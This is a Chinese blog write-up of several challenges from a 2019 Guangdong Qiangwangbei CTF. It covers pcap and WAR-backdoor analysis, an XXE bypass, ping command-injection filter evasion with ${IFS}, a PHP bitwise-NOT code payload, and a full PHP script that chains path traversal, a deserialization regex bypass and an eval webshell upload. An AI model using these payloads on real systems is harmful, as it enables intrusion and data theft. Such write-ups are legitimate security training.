NOTE

2019 九月 广东强网杯 CTF 部分题 Writeup

MISC

抓灰阔

下载misc4.pcap,用Wireshark打开,前面部分的HTTP请求是明文的,到了后面变成了密文。
从序号69的数据包可得知黑客登入Tomcat部署了一个war文件:

提取war,其中有个main.jsp文件,内容如下:

根据其中的代码,可知后面的post body经过加密,并且作为Java Class文件加载解密后的内容,调用其中的equal()方法,从序号154的数据包提取密码:ba4ae3277932b0a2,如图:

编写Java代码对后面的post body以及服务器的response body进行解密以及main.jsp,得知post body为加密后的Java Class文件。
编写Java程序解密post body,逐个解密POST请求:

反编译解密后的Class文件,从中可知使用了同一个密码加密response body,只是加密后没进行Base64编码,编写解密response body的代码,逐个解密response body:

经过对解密的Class文件和服务器的Response内容,可知黑客在序号245的数据包的提交的Java Class的content静态属性中附带了一份Base64编码的flag文件:

Base64解码后得文件flag,用file查看文件类型报错,好像是一个头部不正确的ELF文件(WinHex窗口中的第五、六和七字节):

通过WinHex对照正确的ELF头修正第五、六和七字节保存后可正常运行。

运行后输出“where is flag”,输入东西后程序会退出。

我还没搞过逆向,搞了接近一个小时,连IDA Pro都没能成功启动,然后把文件丢给队友研究了,所以此题下面部分是队友的操作:

运行程序输出where is flag,输入东西后按Enter程序退出,使用IDA Pro进行反汇编,找到关键语句,将输入的字符与一个longlong变量转为byte后进行判断,相同则调用函数,进行一些计算输出flag:

将longlong转为ASCII得到oo8?989j,运行并输入得到flag:

Web

XX?

网站打开是一个搜索引擎,摸不着头脑,尝试index.php,可以访问,队友使用扫描工具扫描站点文件,发现index.php~可以看到源码:

经过源码,查找资料可知simplexml_import_dom()存在可利用的XXE,编写PHP程序向程序POST构造的XML内容,得flag:

免费的,ping一下~

经测试,系统过滤了空格,|,&,flag,cat,sed,tail等字符和字符串,但没过滤分号:

经过查找资料,得知可通过${IFS}代替空格,通过ls查找到flag的路径,构造cat读取文件,输出不在第一行:

构造sed读取第二行,输出不在第二行:

怒读最后一行,得flag:

PHP

访问index.php查看到程序源码,得知程序使用正则表达式过滤了部分字符,但没过滤取反,因此使用PHP构造通过取反调用GetYouFlag的参数:

最后访问:
http://119.61.19.212:8082/index.php?code=$啊=~%B8%9A%8B%A6%90%8A%8D%B9%93%9E%98;$啊();
得flag:

API

这题比赛结束后拿到源码后才写出答案的,感觉这题有点坑,有几个人能猜得到filename参数中的json对象中的文件名,要以file为key呢?

答案:

<?php
define("URL_PREFIX", "http://119.61.19.212:8086");

// 第一步:通过/api,读取网站根目录下的PHP文件
//   读取index.php
$response = request(URL_PREFIX . "/api/", http_build_query([
    "filename" => json_encode([
        "file" => "../index.php"
    ]),
]));
print $response;
//    读取hack.php,注释中有fffffaa_not.php
$response = request(URL_PREFIX . "/api/", http_build_query([
    "filename" => json_encode([
        "file" => "../hack.php"
    ]),
]));
print $response;
//    文件名带f的被过滤了,fffffaa_not.php无法读取
$response = request(URL_PREFIX . "/api/", http_build_query([
    "filename" => json_encode([
        "file" => "../fffffaa_not.php"
    ]),
]));
print $response;

// 第二步:利用index.php读取fffffaa_not.php
class hack {
    public $file;
}
//    本地构造一个hack对象,置属性$file为fffffaa_not.php,然后序列化对象
$hackInstance = new hack();
$hackInstance->file = "fffffaa_not.php";
$serializedHackInstance = serialize($hackInstance);
//    把开头的O:替换为O:+绕过正则表达式匹配
$serializedHackInstance = "O:+" . substr($serializedHackInstance, 2);
//    GET index.php?flag=序列化的对象
$response = request(URL_PREFIX . "/index.php?" . http_build_query(["flag" => $serializedHackInstance]));
//    fffffaa_not.php的内容
print $response;

// 第三步:通过fffffaa_not.php上传webshell
$webshell = "<?php eval(\$_REQUEST['code']);";
$response = request(URL_PREFIX . "/fffffaa_not.php?" . http_build_query([
    "jhh08881111jn[]" => $webshell, // 通过数组绕过正则表达式匹配
    "file_na" => "2019",
]));
print $response;

// 第四步:scandir("/")
$webshellURL = URL_PREFIX . "/uploads/2019.php";
$response = request($webshellURL . "?code=" . urlencode('print_r(scandir("/"));'));
print $response;

// 第五部:读取/f1ag_ahajjdhh11qwe
$response = request($webshellURL . "?code=" . urlencode('readfile("/f1ag_ahajjdhh11qwe");'));
print $response;

function request($url, $postfields = null)
{
    $ch = curl_init($url);
    try {
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        if (!is_null($postfields)) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
        }
        $response = curl_exec($ch);
        if ($response === false) {
            throw new \Exception(curl_error($ch), curl_errno($ch));
        }
        return $response;
    } finally {
        curl_close($ch);
    }
}

 

105 Posts

自信、努力、活出精彩;以前未所见的颜色,绘大千世界!
View all posts

2 thoughts on “2019 九月 广东强网杯 CTF 部分题 Writeup”

Leave a reply

Your email address will not be published. Required fields are marked *